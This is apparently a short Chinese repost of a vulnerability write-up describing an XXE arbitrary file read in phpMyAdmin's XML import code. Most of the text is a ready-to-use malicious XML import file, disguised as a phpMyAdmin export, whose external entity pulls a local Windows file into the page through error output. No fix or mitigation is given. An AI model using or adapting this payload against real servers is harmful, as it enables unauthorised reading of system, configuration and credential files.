PhpMyadmin任意檔案讀取漏洞
阿新 • • 發佈:2018-12-23
libraries/import/xml.php中
unset($data); /** * Load the XML string * * The option LIBXML_COMPACT is specified because it can * result in increased performance without the need to * alter the code in any way. It's basically a freebee. */ $xml = simplexml_load_string($buffer, "SimpleXMLElement", LIBXML_COMPACT); unset($buffer); /** * The XML was malformed */ if ($xml === FALSE) {
可以使用系統中的import功能匯入一個精心構造的xml檔案
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE wooyun [ <!ENTITY hi80sec SYSTEM "file:///c:/windows/win.ini"> ]> <!-- - phpMyAdmin XML Dump - version 3.4.4 - http://www.phpmyadmin.net - - 主機: localhost - 生成日期: 2011 年 11 月 01 日 14:56 - 伺服器版本: 5.1.28 - PHP 版本: 5.2.6 --> <pma_xml_export version="1.0" xmlns:pma="http://www.phpmyadmin.net/some_doc_url/"> <!-- - Structure schemas --> <pma:structure_schemas> <pma:database name="test" collation="utf8_general_ci" charset="utf8"> <pma:table name="ts_ad"> &hi80sec; </pma:table> </pma:database> </pma:structure_schemas> <!-- - 資料庫: 'thinksns' --> <database name="thinksns"> <!-- 表 ts_ad --> </database> </pma_xml_export>
來讀寫檔案,系統錯誤資訊會直接顯示出檔案內容